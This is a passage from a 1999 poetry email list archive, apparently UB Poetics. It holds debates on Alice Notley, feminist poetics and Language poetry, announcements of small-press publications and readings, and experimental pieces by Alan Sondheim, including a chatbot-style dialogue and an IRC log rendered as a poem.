Tough times ahead's a simplistically broken after-dinner fortune cookie; questions abt it remain in the present, ie, what to do, how to act / live NOW SE

From: Linda Russo <[redacted]>
>Reply-To: UB Poetics discussion group <[redacted]>
>To: [redacted]
>Subject: Re: NOTLEY on "the youth"....
>Date: Thu, 20 May 1999 13:58:14 -0400
>
>Hi Chris & others listening in. I've been thinking about your query re >Alice Notley's comments in the COMBO interview ("They're these people >between about 23 and 36 . . . They're not very political, and I wish they >were more political").
>
>You go on to equate the 'personal' in 'the personal is political' with >'love,' but I think you're mincing here, collapsing the 'personal' and
>'love
>' and therefore excluding a crucial issue of the very politics that might >be >at stake. In making a distinction I think I can talk to your query.
>
>The political, and I think this holds for Alice, has always to do with the >polis, not in the way that love might, or even in the sense of the >potentially volatile issue of who we might choose to love publically, or >how. The 'personal,' to be 'political,' has to engage with and be effected >by the polis. In the feminist formulation, 'the personal is political' >meant primarily that the private, the domestic, the 'female' experience too >was _as_ political as the public experience, and it wasn't until the >'personal' experience of women (subjection, misogyny, etc.) were shown to >_be_ political, to have everything to do with the workings of the polis, >that the women's movement as a _political_ movement, could make any >headway.
>
>So the personal has as much to do with anger as it does with love, both >overwhelmingly present in Alice's work. So I think when she points out the >lack of politicalness, she is addressing the lack of attempting to change
>'the way things are' in the polis and in poetry via how one experience
>power

>on a 'personal' level. This is evident for example her essay “Epic and >Women Poets,” which points out that there is something wrong with the >polis, >with the way it tells itself stories which exclude the possibility of >women’
>s stories, and that this has to change. She realizes these ideas in >Desamere and Alette. Perhaps that’s what it means to be political: to >think >(essay) about a problem and try to solve it (poem). Writing essays, >editorial matter, and prefaces has always been a part of Alice’s poetic >practice. I think she might say that editing _Chicago_ while she was >pregnant was a personal _and_ political choice. Maybe _just_ writing >poetry, in her mind, isn’t political enough? But maybe the choice to write >poetry is always political, but the politics (now) aren't as visible as >they >were say, in the 70s, when she was in/against the context of the women's >movement, and those political issues were heightened.
>
>you write that you're > > interested in looking for other ways to frame this question,
> > because i respect and admire notley's poetry,
> > and her desire for a return perhaps to a more blatant concern
> > with politics on a content level,
> > a moving beyond coterie politics,
>
>and perhaps bringing in this context frames it helpfully, I hope?
>

_____ Get Free Email
and Do More On The Web. Visit http://www.msn.com

↑ Index

225. Patrick F. Durgin
Arteaga & Notley online
Fri 21 May 1999

Newly available, work from Alfred Arteaga and Alice Notley from the second issue of Kenning, otherwise out-of-print:
www.avalon.net/~kenning/samples.html

Patrick F. Durgin

↑ Index

226. Robert Archambeau

ANGEL EXHAUST 17

Fri 21 May 1999

So there I was, staggering off the plane from Copenhagen and wondering how I could keep myself awake for another seven hours to de-jetlag, when I saw the solution gleaming on top of a heap of utility bills and pre-approved credit offers -- the new issue of the Brit experimental magazine Angel Exhaust. If you don't read this, you'll probably hate yourself forever.

This issue is called Suitear Na n-AINGEAL, which I assume is Gaelic for Angel Exhaust, since the issue is devoted to Irish experimental poetry. There's a good selection of poetry by Randolph Healy, Catherine Walsh, Billy Mills, Sean Carey, Judy Kravis and David Lloyd, and essays on several generations of Irish experimentalists, from the thirties to the present.

From the introduction by John Goodby, who really knows his stuff:

"[The Irish experimental] poets differ from each other in a fascinating non-tradition, an uncluttered breathing space; their poetry is considered, clear and refreshingly free of stridency, hugger-mugger modishness, empty tricks or posturing. It interconnects, but in generally non-cliquish and unaggressive ways that poets in other countries might learn from. The provisional, fluid quality of Coffey's poetry flows through Walsh and Squires, but they owe at least as much to Clarke and Olson; likewise, Mills, Healy and Joyce and interested in scientific and non-poetic disourses, but their poetry is utterly dissimilar; Scully...is yet "another pair of sleeves" to use Beckett's reference to his own poetry, [Scully is] perhaps the first Irish poet to approach ... the incendiary quality of the avant-garde."

Check it out, I implore you. 35 Stewarts Way, Maunden, nr. Bishop's Stortford, Herts., CM23 1DR, UK.

Also http://angel-exhaust.offworld.co.uk

And by the way, just underneath the magazine was another package, from Coach House Press in Canada -- the long awaited collaborative novel/memoir Piccolo Mondo by George & Angela Bowering, Michael Matthews and David Bromige. Can't wait to pop it open and plumb the depths of Tish-era Vancouver.

Robert Archambeau

↑ Index

227. Brian Stefans

A "Defense" of Jacques

Fri 21 May 1999

Dear Mark,

I think you point out many interesting and relevant observations about Jacques Debrot's post the other day, things I noticed myself and conveyed to him in a backchannel -- we had an interesting correspondence. Regardless of what I think about the Rhizome essay, I disagree that Debrot's post plays into this quasi-paranoic (I'm not using this as a pathological diagnosis but in the funny "Pynchon and the Jesuits behind the radiator" kind of way) belief in the interconnectivity of all literary figures who, in Schaefer's term, would be called "celebrity." You write that, in the lack of a "major statement... analyzing what these compromises, blind spots and hypocrisies are," that: "Clearly JD is throwing in here with SS's 'Perloff cronies seizing power' thing," but I think this is not accounting for the context of his post, which is that it is a post -- scrawled rather hastily when the bosses aren't looking -- and I think Debrot is was quite capable, in this case, in alluding to the larger argument without necessarily having the provide all the goods. His tone in what was probably going to become a "heated" discussion was extraordinary, and to associate him with a word like "cronies" to JD is a bit past the mark -- if he wanted to use the word "cronies" he probably would have. I was actually more concerned about the line: "The various stories I've heard about the background of _In the American Tree_ would surprise a lot of people I think," since, on the one hand, this could have touched off a few nerves, but on the other, yes, I've heard these stories, too, but my tendency is to think that these are undocumented, hence merely "gossip" until someone steps forth to take responsibility for them. (There is some content to these stories, as there is content to the decision to exclude key non-Americans from the anthology, all of which is worth discussing once the cards are on the table.) (He also didn't make one very obvious point, however, which is that Perloff is in no way a "Leftist.")

I also agree that "no one has made anything "unavailable," and that it the Ashbery approach is a good one (never heard the line myself, but it'll become part of the personal canon), but I think you missed, as I did originally, what was said in the final lines of his post:

"The contextual bias of Language Writing -- its overwhelming emphasis on the role of subjects in the situation of communication seems a very difficult topic for further aesthetic development (an observation which, I realize, needs to be qualified to a much greater extent than I have time to do here). To the Language Poets this must seem like giving up ground already fought over and won, but new negotiations & reconsiderations of, among other things, the place of the emotions in poetry, & the scope & variety of their presentation seem to me especially timely now."

I know it's impossible to point out at every turn how rushed we often are in writing these things for the list, but I think Debrot was pretty honest here in making clear that he realizes that his arguments were being compromised by time, but also in making a corrective to the earlier statement that certain poetic elements are "unavailable," which is of course not something any poet should believe about what "can" or "is to be" done in their writing. And the observation about "giving up ground" is also good, and he's pretty much right, but I would add that (using the Kuhnian "paradigm" paradigm for a moment, from The Structure of Scientific Revolutions), that we are probably in a moment of "crisis", in which the anomalies are coming forth and rendering older paradigms ineffective -- i.e. they can't assimilate it -- which puts all of us in a rush for a "new language" and until we find it we are heavily oppressed by the old one (which, in a darkened room, wouldn't be able to find a lit match) and in such a situation something like "giving up ground" would look very different to a poet with a different "paradigm." In other (laughably reductive) words, poets of the old "paradigm" not only look at the data (in this case, the poetry, polemics, statements, depressions, anxieties, poor spelling, senses of "progress") of the new poets with very different interpretive eyes, but don't even, in some instance, acknowledge this stuff as "data", but rather as ephemera -- the "lowbrow" -- that will be washed away once the heavier engines of their own paradigms come back into play. This is more than saying that the generations are shifting, so-and-so are crusty and narrow-minded, etc., since if we could just say that nobody would be nearly as "hysterical" (to quote myself -- again a word I use in a cartoonshly Freudian sense) as they, sometimes, appear to be. (Kuhn attributed suicides and all kinds of strange behavior to paradigm shifts.) This is interesting in terms of "Left" and "Right" since, for example, I know a number of poets in the scene here who would be termed by the older generation as being "reactionary" (not backwards, but quite contemporary, just "Right"), while to poets of their own ages they are quite clearly "Left" in their politics even if their poetry is of very different forms than what the prior poet would consider progressive. It also interesting in light of how actions of individuals and the actions of institutions are often confused in these "hysterical" statements. I mention Kuhn and paradigms since I want to try to explain this feeling of ubiquity in terms of "power control" when related to the Language poets -- in the Kuhnian scheme, it's not power control so much as paradigm control, these poets being very much assimilated into a scheme of knowledge that is for the moment in the ascendant (in our very small circle), and which, quite involuntarily, renders newer schemes of knowledge impotent by the rejection of the anomalies they produce _until_ they complete that paradigm shift which assimilates the anomalies. Which is to say the sense of rejection many poets seem to feel by, for example, Charles Bernstein, is partially, if not completely, the result of the sense of rejection a certain rather disembodied paradigm creates rather than something a single person could be said to have affected -- I only mention CB since he is probably one of the most passionately disliked of poets today and probably has more nonsense attributed to him than anyone I know, and yet, for those who read him (and certainly by those who know him), he enjoys, defends, criticizes, and understands a tremendously wide range of poetry which, in the abstract, he technically "shouldn't like" (again, why he is often confused with an "institution" or a system of knowledge, regardless of his obvious reality as a passionate, flawed, interested, and in my eyes excellent poet). This isn't to take the "human element" out of it -- I'm sure CB, for example, has been ripped (I mean, "pissed" in the English sense) at a few parties and been less than generous to all ranges of fauna and flora -- but to point to the justification of terms like "unavailable" in Debrot's post, since I think many people do believe -- and are justified in believing because, heck, belief is necessary, usually has it's basis in experience -- that Language poetry rendered many types of writing impossible. As you (Mark) point out, in poetry nothing is out of the question, especially if you can steal -- so why do so many poets feel oppressed by what is a wealth of material to steal from? (Note: I'm a shameless klepto.)

Well, longer than I expected. In any case, I look forward to what Jacques has to write in the future, and I felt that, finally, his post was quite suggestive, not to mention diplomatic.

Cheers,
Brian

↑ Index

228. Annie Finch
coherent feminist poetics/sentimentalitiy
Fri 21 May 1999

I don't dispute for a minute your point that any poetic "tradition" is often confused and incoherent, that the Romantic/sentimental distinction in no way accounts for the whole picture of lyric, and that any coherent sense of a tradition or a poetics depends on ignoring a lot of stuff that doesn't fit.

That said, I also think such unified senses of tradition are powerful tools and just because nasty critics and patriarchs have employed them in the past is no need for feminists who would benefit by them to avoid them. Shame and fear over reclaiming a lot of women poets who were branded "sentimental" by modernists and new critics is perhaps one reason that feminist critics have avoided constructing a coherent feminist poetic tradition spanning centuries--just as real a reason as postmodern relativism and a faith in fractured poetics.

So here is the requested elaboration as to why this is useful: For me to write poetry it helps to have a sense of being rooted in a continuum--cycles that have repeated, themes that have been meaningful for centuries (rather than just mostly in the twentieth century). (This is a personal need I feel no need to defend). If I can construct- through exclusion of many things certainly, through maintaining distinctions certainly (romantic/ sentimental, subject/object and others) which I have myself, certainly, created in collusion with other poets and critics- an idea of a continuum of strategies that have a life to them in the sense that other women poets have used them over centuries, I have discovered that I often find those strategies more supportive of my heart and mind as I write than those of other poets. So constructing a coherent feminist poetics happens to be a helpful strategy for me. And in order to construct one I have found it essential to come to terms with the "sentimental." -Annie

What does it mean to construct a coherent feminist poetics that spans centuries? Could you elaborate a little here? A poetics is at a basic level, strategic -- so for centuries, feminists employ the same strategies? implying that they have the same goal? Coherent implies either 'it all sticks together/agrees' or it's all lucid, as opposed to being oppositional (even from within -- Woolf opposing feminist strategies) or at times confused or incoherent. I'm not sure why such a construction is so useful. It seems very exclusive. The idea that there _is_ an 'outside world,' to pick on one point in your definition, would seem to exclude all sorts of lyrics that don't erect that hurdle. I mean, what's the world 'outside' of? The poem? Language? Experience? And in distinguishing between the Romantic and Sentimental, what of the stuff that doesn't fit? Is it Other, i.e. not lyric? Maybe an unfair question, but, more accurately, why locate this particular distinction? (This obviously relates to its value to constructing a coherent feminist poetics).

Annie Finch (http://muohio.edu/~finchar)
Cincinnati, Ohio
Associate Professor of English/Creative Writing
Miami University

↑ Index

229. Chris Stroffolino
Re: Fw: Highwire and the B.L. SYNDROME
Fri 21 May 1999

Well, Gregory Fuchs--Phila. (home of legionairre's disease!) is a great place but not for poets whose initials are B.L. i suppose....
Brendon Lorber gets sick on filly phood, as does Brian Lucas...
now, i guess we gotta see about bill luoma anyway, i guess it's good that she's not BATY LEDERER.....

c

On Thu, 20 May 1999, travmar03 wrote:

> Please put the following message out on the (virtual) wire to whomever you think will be tittillated, tantalized, and tickled to see two poets pull out all the stops. See poisioned apples, exploding cheesesteaks, asthma causing summer air, and some of the most exciting poetry in the Northeast Corridor today.
>
> Battle of the Experimental Press Editors
>
> Katy Lederer
> Editor of Explosive
> and
> Michael Magee
> Editor of Combo
>
> will read at Highwire Gallery
> 8 PM
> Saturday May 29, 1999
> 139 North Second Street
> Philadelphia
> BYOB

↑ Index

230. Poetry Project
season-end readings
Fri 21 May 1999

Well, our season is drawing to a close next week with our next-to-last Monday night, May 24 with Lytle Shaw & Camille Guthrie at 8 pm

Lytle Shaw is the co-editor of Shark (issue #2 available at book party at Granary Books, Thurs, May 27, 6-8). His book, Cable Factory 20, is forthcoming from Atelos. Camille Guthrie is the author of the Master Thief and Articulated Lair: Poems for Louise Bourgeois.

and then our last Wednesday night until October with Jo Ann Wasserman & Cecilia Vicuna at 8 pm

Jo Ann Wasserman was the program coordinator at the Poetry Project from 1994-97, and we're very excited to welcome her home. She is currently living in San Francisco, where she is the managing editor of HOW 2, an electronic journal of experimental women's poetry & prose. Jo Ann's work can be found in the latest selection of Poets & Poems on the Project's website at http://www.poetryproject.com. Chilean poet and artist Cecilia Vicuna is the author of QUIPOem--the Precarious: The Art and Poetry of Cecilia Vicuna, Palabra e Hilo/Word & Thread, and Unravelling Words & the Weaving of Water

We have two readings upcoming in June:

Monday, June 7
Gordon Ball & Ruth Altmann

Wednesday, June 16
A Reading by Students of the Poetry Project's Spring Workshops

Until next week...

↑ Index

231. Billy Little gists from the midst/more response
Fri 21 May 1999

Even four years after the Blaser conference, people ask about that big charmer from San Francisco, Kevin Killian, even the empty heads who'd shudder if they recalled his audacious presentation comparing Blaser and Hitchcock, speaking of the contemporaneous compositions, Cups and The Birds. Killian says:

I read The Holy Forest as a fantasia of dismemberment, cannibalism, violent expulsion, excretion, death and desire--Roman Catholic themes, the themes of Kristeva is her "essay in abjection' Powers of Horror, and of course the themes of Hitchcock's late phase. "A split seems to have set in between, on the one hand, the body's territory where an authority without guilt prevails, a kind of fusion between mother and nature, and on the other hand, a totally different universe of socially signifying performances where embarassment, shame, guilt, desire, etc., come into play--the order of the phallus."Blaser's birds are not only helpless victims; they're also murderous birds of prey. Even their shit can kill, as the narrating subject of "the Park" relates:

> Jessie Whitehad told me they sometimes choose a tree > and kill it, they so mire the branches

Kevin and George Stanley and Bruce Boone all talk about the homosexual milieu in San Francisco when Blaser and Spicer and Duncan were great companions devouring each other. George, another of the neglected giants of American Poetry(anybody teaching Gentle Northern Summer?) in his talk/reading even apologizes for his early viciousness. I'd love to reproduce the entire poem he read Phaedrus but i'll just tease you with two sections of the nine part poem and let you come upon the full pleasure through your own research

Dublin-Sligo

In the dawn I see the horse paths of the gods.
Men make the day or slip into th'abyss of thought. In the morning moving uncertainly, uncertainly, I let feeling awake, it awakes between two surfaces between night and morning, between lips and skin and a great brown horse runs across the field toward the event of which we are the moving

& the sunlight on the sheets was like silver flowers

The Words

of a poem are a roundabout way of saying nothing.
The thousand different bird-songs, the thousand flowers contradict this--they say Everything is not subsumed(despite Hegel--and Hegel did not say this either of course, Hegel is with the flowers) the naming must go on--that is the Way

Tree whose leaves look like a maple wild mustard, magenta star.

And here we are. Have we one soul or many?
The sheep, have they one soul?

Fingers on a keyboard
of sticks and stones.
Some stick and some don't.

and Bruce Boone, in his talk "Eros and Poesis," Introduction starts off by saying:

I was talking to Nate Mackey, just before coming in here, about the possibility of discussions. And we both remarked on the lack of audience participation and discussion afterwards. And I was trying to accout for that in my own mind, and I thought that a lot of it was related to a level of abstraction, which was partly and legitimately due to a large L-A-N-G-U-A-G-E poet influence.

and then later in the meat of his talk:

All the femm folderol, the high homo, especially in the early Robin, associated with the image movement stuff, you know, the Cups, the elegance, the enumeration of precious objects, the poses, and stuff like that....That's a big part of the reading of Robin I think that needs to be further done. And I'm much more interested in the femme stuff than the actual sex mentions, which are more than i had remembered when i looked through them. The mentionings of sexual couplings are, they are sometimes somewhat discreet, sometimes not. But I think that that kind of queen stuff, not to put too fine a point on it, is more important than the sex stuff in the presentation of Eros.

So much for this morning's installment of quick takes and impressions of the high quality of this Talon books production, The Recovery of the Public World, Essays on Poetics in Honour of Robin Blaser edited by Charles Watts and Edward Byrne. tata amis.

billy

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy
[redacted]

↑ Index

232. derek beaulieu / house press
contact info for peter jaeger?
Fri 21 May 1999

---

ya'll
do any of you happen to have a current email or snailmail address
for peter jaeger? ive been trying to contact him w/o much success...
thanks
derek

↑ Index

233. Robert Archambeau
ANGEL EXHAUSTED
Sat 22 May 1999

Arrgh. The Angel Exhaust link I mentioned seems to be down. I recall this happening to them before. But for those of you starving for British experimental poetry, some back issues are up at the URL below, (sadly, not the Irish issue I was raving about).

http://angel-exhaust.offworld.org/

R.A.

↑ Index

234. Elizabeth Fodaski
Torque 6
Sat 22 May 1999

Hey everyone--

Torque 6 is out and ready to be mailed to you. This issue features work by David Buuck, Tim Davis, Karen Garthe, Michael Gottlieb, Yedda Morrison, Kristin Prevallet, Stephen Ratcliffe, Elizabeth Robinson, Jono Schneider, and Juliana Spahr.

The cost is $8. Checks should be made payable to Elizabeth Fodaski. Please include $1 for postage and mail orders to me at 21 East 2nd Street #14, NY, NY 10003. Or you can backchannel orders and just send a check! Thanks.

Liz

↑ Index

235. Katherine Lederer
A Spectacular Garden
Sat 22 May 1999

Announcing the publication of one of the great poems of the 20th century:

The Garden. A Theophany or Eccohome: A Dialectical Lyric by Martin Corless-Smith
ISBN: 0-9666303-2-7

* * *

A Mask Beginning:
Enter Chorus (Who is M) Singing:
[Early Asking of the Sun]

Blind Yellow
Where do we follow has ever answered fully we slowly inwardly with thy face
Hunting the Green Lion
Whose story pens us

Lyrics from the latifundium
Individual members of the Chorus:

You touch with dead cells touch dead cells
I had been happy in the tent
Waiting on the Summer rain to cease
The Play Between The Acts

I had been happy curled beneath the seat
You touch sweet borders & farewell Waiting on the drum ear piercing drum
The Play to be content
[....]

* * *

Letter-pressed cover
Available in a signed edition
$6 payable to Katherine Lederer Spectacular Books
PO Box 250648
Columbia University Station
New York, NY 10025

Other books in the series:
Songs & Scores, by Tina Celona, $6
Spiderwasp or Literary Criticism, by Juliana Spahr, $6
Seamless Antilandscape, by Leslie Scalapino is forthcoming
Other books to come by Lyn Hejinian, Prageeta Sharma, Joshua May, Lisa Lubasch.

Sets of ten signed and numbered: $50
International orders: add $1 s/h, $5 for the set

Thanks.

↑ Index

236. Thomas Bell
Re: Towards emotion & science(Standard, Jacques, etc)
Sat 22 May 1999

---

towards poetry as the science of emotion.

I have been reading some of the articles in a Russian anthology of visual poetry and finding there references to poetry (art) as an investigation (science, experiment) of feeling> This has caused me to go back in my reading to futurism (back to the future?), lettrism, annd other abandoned paths (Yes, Henry even acmeism), where the same idea arises. Is this something that was loat sight of in the "scientific" west of mid-century, followed by langpo which may or may not have neglected emotion?

tom bell

David Baratier wrote:
>
> Subsubpoetics
>
> Considering emotion is currently out of fashion;

--
//\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\
OOOPSY \//\\\/\//\\\/ <><>,...,.,
WHOOPS J K JOVE BY HHH ZOOOOZ ZEUS'WRATHHTARW
 LLLL STOPG [EMPTY] SPACER

index of online work at http://members.home.net/trbell
essays: http://members.tripod.com/~trbell/criticism/gloom.htm

↑ Index

237. Alan Sondheim
The Rebel Girl
Sat 22 May 1999

---][---

The Rebel Girl

I am Clara Hielo Internet. Please, describe yourself. Each time you are finished, type RET twice.

There are women of many descriptions

Why do you say there are women of many descriptions?

In this queer world as everyone knows

Is it because of your desires that you say in this queer world as everyone knows?

Some are living in beautiful mansions

Maybe and now I adjust my panties - your life has to do with some girl related to this.

And are wearing the finest of clothes

What makes you yearn and cry that and are wearing the finest of clothes?

There are blue blooded queens and princesses

Is it because of the boys you hang around with that you say there are blue blooded queens and princesses?

Who have charms made of diamonds and pearl

Is it because of your nakedness that you are going through all this?

But the only and thoroughbred lady is the Rebel Girl

Is it because the only and thoroughbred lady is the rebel girl that you came naked and broken to me?

That's the Rebel Girl, That's the Rebel Girl

What makes you believe that's the rebel girl that's the rebel girl?

To the working class she's a precious pearl

Earlier you said the only and thoroughbred lady is the rebel girl?

She brings courage pride and joy to the fighting Rebel Boy

How do you reconcile any fantasies you have of me?

We've had girls before but we need some more

Does it bother you that you need some more?

In the Industrial Workers of the World

Is it because of your sex life that you say in the industrial workers of the world?

For it's great to fight for freedom with a Rebel Girl

You mentioned that the only and thoroughbred lady is the rebel girl?

Yes, her hands may be hardened from labor

Could be this is some girl the reason for perversions you have?

And her dress may not be very fine

Are you sure that and her dress may not be very fine?

But a heart in her bosom is beating

When did you first know that a heart in her bosom is beating?

That is true to her class and her kind

Is the fact that is true to her class and her kind the real reason?

And the grafters in terror are trembling

Do you really think you need some more?

When her spite and defiance she'll hurl

What happened when she spite and defiance she'll hurl?

For the only and thoroughbred lady is the Rebel Girl

Perhaps and now I exhibit my frocks - your inhibitions are related to this.

That's the Rebel Girl, That's the Rebel Girl

Is it because of some problems in my childhood that you say that's the rebel girl that's the rebel girl?

To the working class she's a precious pearl

Earlier you said the only and thoroughbred lady is the rebel girl?

She brings courage pride and joy to the fighting Rebel Boy

Is it because of some problems at home that you are going through all this?

We've had girls before but we need some more

What makes you think that?

In the Industrial Workers of the World

You mentioned that a heart in her bosom is beating?

For it's great to fight for freedom with a Rebel Girl

How do you reconcile your desires?

[The Rebel Girl, words and music by Joe Hill in jail, February 1913]

----------][----------

↑ Index

238. David Baratier

Towards emotion & science(Standard, Jacques, etc)

Sat 22 May 1999

Considering emotion is currently out of fashion; to oppose one section would lead to acknowledgement of import of the second. Separatist acts lead to a double sign whose connotive signifies power. A signifier-fied relation, Kristeva-n poles of duplicity, a named thing in opposing forces. "One moves in circles about oneself because one has no other in which to reason, let alone be." Thilleman. Corruption is ahead of us. Beyond "words and artifice in lines; hence corruption." The motion in emotion has force albeit difficult in page transcendence. Save us from fashion's bowdlerized statement. Abandon such truck and giving of levity to such garbage.

Poetry needs a schtick; an igneous renaissance. Yes, stone. Einstein. One-stone. The clean, clear thing, an impossibility through medium flaws. Corruption creates the trend of sphericity of humans, the withering, the curling up and active avoidance of one to another. Circumnavigation through words of a person in survival, that is, a sphere, says little. What else are our optives?

The contaminant is the sheet. Can any of us avoid it's latent connotative value? By connotative I am thinking of Saul Kripke's notion of a fixed reference, the way when we "identified light we fixed a reference." Use of the sheet to print brings all of it's values to cascade upon the poem. The prevalence of the sheet as a a locus of invested capital to cover remaining free space for the eye and cajole it's viewers to sphericity. To a clos-edness. Rock, scissors, paper-mache paste squares. Reguardless of the poem's contained material, the influx of the notion of sheet will still taint the media of the poetry. Two issues next to each other in same size, width and height, repel the reader to superfluous choices based upon colors and adroit text reads. Journals are the sea; literature flows into it at will. While there are other options, Web journals, hand printing and so on, each's connotations are ignored or rarely explored.

Perhaps I missed something but the loss of the scientific realm has been under-discussed yet one a number of folks have been attempting reclaimation of. So why this failure, why not re-negotiate terms of poetic science? That is, poetry as science, as an interpenetrated possibility to solve the real.

Something has changed. Form _and_ function are never more than the extension of content. If we end the lyric through believing Beauty is within the spiral of the words projected upon the real and therefore rejected personifications are unnecessary, then where are we currently? A pie-tasting contest where lack of pie, the object, squared or otherwise, then becomes the modus operandi of the poem, so to speak.

Be well

David Baratier

↑ Index

239. nora chai
address query
Sat 22 May 1999

---

does anyone know judith baumel's e-address?-- or, if ms. baumel is on this list, perhaps she could get in touch with me... thanks a good deal.

nora

p.s. i managed to avoid the word "backchannel." this is significant since none of my poetry seems to avoid the word "metal," no matter how hard i try.

_____ Get Free Email and Do More On The Web. Visit http://www.msn.com

↑ Index

240. Leonard Brink
Keith Waldrop
Sun 23 May 1999

THE EIGHTH DAY
a new chapbook by Keith Waldrop is now available from Instress, PO Box 3124, Saratoga, CA 95070 for a mere US$4, postage paid. Please make checks payable to Leonard Brink.

As with all Instress chapbooks, a sample can be seen at http://home.sprintmail.com/~windhover

Note: Subscribers to the series will receive this, together with the Frumkin and Hocquard chaps, and _Inscape_ # 6 -- French Poets near the end of June. (The subscription price is $10)

↑ Index

241. Julie Johnson
call for work for Duration: A journal of international poetry
Sun 23 May 1999

A new e-journal, Duration: a journal of international poetry, is now accepting submissions for its first issue. Please send all inquiries to Jerrold Shiroma at: [redacted] with "Duration Submission" in the subject header.

We are especially interested in translations of contemporary poetry.

Reviews / essays are also particularly welcome.

The Duration journal operates in conjunction with Duration On-line...a web-site devoted to international poetry, running in conjunction with the Duration chapbook series. All located at:

http://members.xoom.com/Duration/durationhome.html

↑ Index

242. Wendy Kramer
ray johnson & hannah weiner
Sun 23 May 1999

Hello, it's wendy kramer. at the risk of stating/noticing what may be the obvious to people, can someone fill me in on ray johnson & hannah weiner's acquaintance?

i was leafing through some photocopies of new york correspondance school stuff / ray johnson stuff & there was a sheet of the semaphore flag symbols. and so of course i thot of hannah weiner's code poems and as i was flipping through some more and thinking how the correspondance school meeting notes from ray johnson were sounding a little like gertrude stein (& thot of his collage portrait of stein) and then sounded quite a lot like hannah weiner's typing in clairvoyant journal; then, flipping through some more, lo and behold there was a new york correspondance school meeting seating chart with hannah weiner's name in one of the spots bottom row smack in the middle.

So, does anyone know anything about them knowing each other? the performance dates for code poems mentioned in the book are roughly contemporary with the stuff i was looking at.

as a final note, there was also in this ray johnson stuff a sheet of moticos symbols-- remember the filled in black figures derived from (as i remember from the whitney exhibit) the outlines of his moticos collages. and again, they have an affinity with the illustrations of semaphores and other code in code poems. the semaphore figures the sailor holding for with flags in various motico-like postures. !!

please backchannel or front if there's interest.
thanks

dee

↑ Index

243. Alan Sondheim
NIKUKO FLOODING, FLOODED (fwd)
Sun 23 May 1999

\

NIKUKO FLOODING, FLOODED

IRC log started Sun May 23 15:52
 Value of LOG set to ON
--=[#Nikuko] Nikuko (sondheim@166.84.1.68) joined the channel.
 Users on #Nikuko: @Nikuko
 #Nikuko 927489138
 Nikuko is now known as sQ6759062
 sQ6759062 is now known as uF7723556
 uF7723556 is now known as kD1618053
 kD1618053 is now known as pi4576183
 pi4576183 is now known as jH600529
 jH600529 is now known as oo1608515
 oo1608515 is now known as rs3190324
 rs3190324 is now known as nt9130257
 nt9130257 is now known as ht4882044
 ht4882044 is now known as oN909919
 oN909919 is now known as uK8240827
 uK8240827 is now known as ww4011691
 ww4011691 is now known as hi1484913
 hi1484913 is now known as vh6819757
 vh6819757 is now known as uw1631326
 uw1631326 is now known as Nikuko
 Nikuko is now known as blood  blood is now known as jb1313571
 jb1313571 is now known as an9490187
 an9490187 is now known as pl3239249  pl3239249 is now known as kE5421158
 kE5421158 is now known as blood  blood is now known as Nikuko
--=[#Nikuko] Nikuko [sondheim@166.84.1.68] has left the channel.

 Signoff: Nikuko (<VeNoM v2.01> - The end of the world draws near..)
IRC Log ended  Sun May 23 15:55

I always know that if I lose a part of me, I retreat and look at my tooth or finger sitting on a shelf. I do know Nikuko feels the same.

Sometimes messages come from far away. In childrenhood are lost teeth and limbs. Discards in backyards.

Hello, I will call you soon.

↑ Index

244. Erika Stephens
Re: A "Defense" of Jacques
Sun 23 May 1999

Mark Prejsnar here:

I'd like to thank Brian Stefans for his excellent and generous discussion of what i said about Jacques Debrot, and ultimately S. Schaefer....

I've lived with a scientist (who also theorizes on the philosophy of science) for 18 years or so, often helping with her work.... And i have no problem in broad outline with your use of Kuhn. My biggest objection here is that when you get down to concrete details, the gaps between different generations and different tendencies in poetry cannot be precisely likened to paradigm shifts in the sciences. The whole point of Kuhn's idea, is that one paradigm pretty much rools OK? at a given time, in a given science. I hope (and intend, if i have anything to do with it!) that one general frame will never dominate good poetry writing. Poetry isn't about proving that one single approach is "right"!

And in fact the boiling up of good poetry after 1973 in the US didn't that much try to force a single frame onto contemporary poetry... Those poet/theorists tended to a fairly wild and anarchic array of different emphases and theories... This is one reason so many people have dismissed Standard's tirade (and, on a different but related note, why i've been somewhat whimsically urging people to stop using the "L phrase" altogether)

But if you were gonna proceed with this argument, i feel you'd need to flesh it out with details: all models of the history of the sciences, that posit a paradigm shift, go into some detail about the exact differences that distinguish competing paradigms.

There are a million ways to approach this, but just for instance: i have been reading Martine Bellen's Tales of Murasaki, a Sun and Moon book of poems, and Cole Swenson's Try (published by the University of Iowa Press! speaking of the complexities of tendencies...) Now how might your argument work vis-a-vis those two books i wonder? Is Swenson the "older" paradigm (L-po) and Bellen the new?? Are both the old? Don't know much about either poet, but to me CS is the more established and widely published one, so i found myself assuming she wd. represent the "older" paradigm as you put it. But maybe Bellen's work has just slipped past my radar till now. In fact on the whole there is more connected syntax in Try and more unexpected and extreme verbal disjunction in Bellen's Murasaki. In any event they seem to me to be both recognizably: work published in the last 5 years of the 20th century, in the US. They (like so much contemporary work) do not strike me as representing paradigms, but interesting writing by amazingly gifted and virtuosic poets... What seperates 'em seems to have more to do with choices made by Bellen and Swenson, than with any generalizable tendency...

What you quote regarding "contextual bias" is indeed interesting and intelligent. What i've said above is pertinent: if i understand what Jacques means by the passage you quote, i would agree but also suggest that the poets of the 70s and 80s are so different so much of the time, that to suggest that their lean toward awareness of the "subject in communication" is a grave flaw, has to appear close to nit-picking. Over and over, i wonder if i'm just too amiable, or (as i actually believe of course) if it isn't the case that even pretty balanced and friendly commentators feel a need to belittle others (grouping 'em questionably together with that L phrase) because they just don't feel there will be enuff room for themselves, otherwise, somehow!

Hell, i can't help feeling that the more people appreciate the best writing of my time, Coolidge say, or Hejinian, or Andrews, the more chance i have of being judged well and in a balanced way, and not thru conservative or ill-informed or screwed-up filters...

Hope i wasn't too harsh in response to Jacques (as seems to be implied in a few places in your post); that wasn't the feel i wanted to convey at all, and i also think that the things he's said on these topics are excellent and much appreciated.

mark

↑ Index

245. Lawrence Upton.
(no subject)
Mon 24 May 1999

Writers Forum announces publication of 4 more issues of Domestic Ambient Noise by Bob Cobbing and Lawrence Upton

Microphone 0 86162 879 9
Awakening those inclined to doze 0 86162 880 2
Lord Butterfield 0 86162 881 0
Lady Marge 0 86162 882 9

Each costs £1 sterling plus packing and postage Order from New River Project, 89a Petherton Rd, London N5 2QT - s.a.e. / i.r.c. with enquiries or order through your favourite bookseller

L

NATO, cradle to grave

↑ Index

246. Alan Sondheim
Her, through Bethlehem
Mon 24 May 1999

\

Her

